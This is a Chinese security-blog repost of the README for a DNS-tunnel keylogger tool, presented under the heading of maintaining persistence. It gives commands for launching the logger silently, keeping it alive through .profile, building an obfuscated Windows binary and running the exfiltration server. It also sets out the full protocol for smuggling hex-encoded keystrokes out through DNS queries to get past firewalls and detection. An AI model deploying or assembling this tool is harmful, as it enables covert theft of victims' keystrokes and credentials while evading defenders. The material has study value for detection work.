权限维持 - DNS 隧道键盘记录​​器

admin 2024年3月25日08:40:14评论13 views字数 2243阅读7分28秒阅读模式

权限维持 - DNS 隧道键盘记录​​器

        此后利用键盘记录器将秘密地将击键泄露到服务器。

这些工具擅长轻量级渗漏和持久性,这些特性可以防止检测。它使用 DNS 隧道/渗透来绕过防火墙并避免检测。

python3 -m pip install -r requirements.txt

启动服务器

要启动服务器,请运行python3 main.py

usage: dns exfiltration server [-h] [-p PORT] ip domainpositional arguments:  ip  domainoptions:  -h, --help            show this help message and exit  -p PORT, --port PORT  port to listen on

默认情况下,服务器侦听 UDP 端口 53。使用该-p标志指定不同的端口。

ip是服务器的IP地址。它用于 SOA 和 NS 记录,允许其他名称服务器找到该服务器。

domain是要监听的域,应该是服务器有权威的域。

权限维持 - DNS 隧道键盘记录​​器

Linux

Linux 键盘记录器是两个 bash 脚本。脚本connection.sh使用它来logger.sh将击键发送到服务器。如果您想手动发送数据(例如文件),可以通过管道将数据传输到connection.sh脚本。它会自动建立连接并发送数据。

logger.sh

Usage: logger.sh [-options] domainPositional Arguments:  domain: the domain to send data toOptions:  -p path: give path to log file to listen to  -l: run the logger with warnings and errors printed

        要启动键盘记录器,请运行命令./logger.sh [domain] && exit。这将默默地启动键盘记录器,并且将发送键入的任何输入。最后&& exit的 将使 shell 关闭exit。如果没有它,退出将使您返回到无键盘记录的 shell。删除&> /dev/null以显示错误消息。

-p选项将指定所有输入发送到的临时日志文件的位置。默认情况下,这是/tmp/。

-l选项将显示警告和错误。对于调试很有用。

logger.sh并且connection.sh必须位于同一目录中,键盘记录器才能工作。如果您想要持久性,可以添加命令以.profile在每个新的交互式 shell 上启动。

connection.sh

Usage: command [-options] domainPositional Arguments:  domain: the domain to send data toOptions:  -n: number of characters to store before sending a packet

Windows

要构建键盘记录程序,请makewindows目录中运行。要以减小的尺寸和一定程度的混淆来构建,请制定production目标。这将为您创建目录并输出到该目录中build指定的文件logger.exebuild

make production domain=example.com

您还可以选择通过创建目标来构建带有调试的程序debug

make debug domain=example.com

对于这两个目标,您需要指定服务器正在侦听的域。

发送测试请求

您可以使用dig向服务器发送请求:

dig @127.0.0.1 a.1.1.1.example.com A +short向本地主机上的服务器发送连接请求。

dig @127.0.0.1 b.1.1.54686520717569636B2062726F776E20666F782E1B.example.com A +short向本地主机发送测试消息。

替换example.com为服务器正在侦听的域。

开始连接

以 开头的记录请求指示a“连接”的开始。当服务器收到它们时,它将使用一个虚假的非保留 IP 地址进行响应,其中最后一个八位字节包含客户端的 ID。

以下是启动连接时应遵循的格式:a.1.1.1.[sld].[tld].

服务器将使用以下格式的 IP 地址进行响应:123.123.123.[id]

并发连接数不能超过 254,并且客户端永远不会被视为“断开连接”。

窃取数据

以 开头的记录请求指示b正在发送到服务器的泄露数据。

以下是建立连接后发送数据遵循的格式:b.[packet #].[id].[data].[sld].[tld].

服务器将响应.123.123.123

id是在连接时建立的 id。数据以十六进制编码的 ASCII 形式发送。

code是下面描述的代码之一。

响应代码

200:好的

如果客户端发送的请求被正常处理,服务器将返回 code 200

201:格式错误的记录请求

如果客户端发送格式错误的记录请求,服务器将以 code 进行响应201

202:不存在的连接

如果客户端发送的数据包的 id 大于连接数,服务器将用 code 进行响应202

203:乱序数据包

如果客户端发送的数据包的数据包 ID 与预期不匹配,服务器将使用 code 进行响应203。客户端和服务器应将其数据包编号重置为 0。然后客户端可以使用新的数据包 ID 重新发送数据包。

204已达到最大连接数

如果客户端在达到最大连接数时尝试创建连接,服务器将使用 code 进行响应204

项目地址:https://github.com/Geeoon/DNS-Tunnel-Keylogger

原文始发于微信公众号(TtTeam):权限维持 - DNS 隧道键盘记录​​器

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月25日08:40:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   权限维持 - DNS 隧道键盘记录​​器http://cn-sec.com/archives/2600419.html

发表评论

匿名网友 填写信息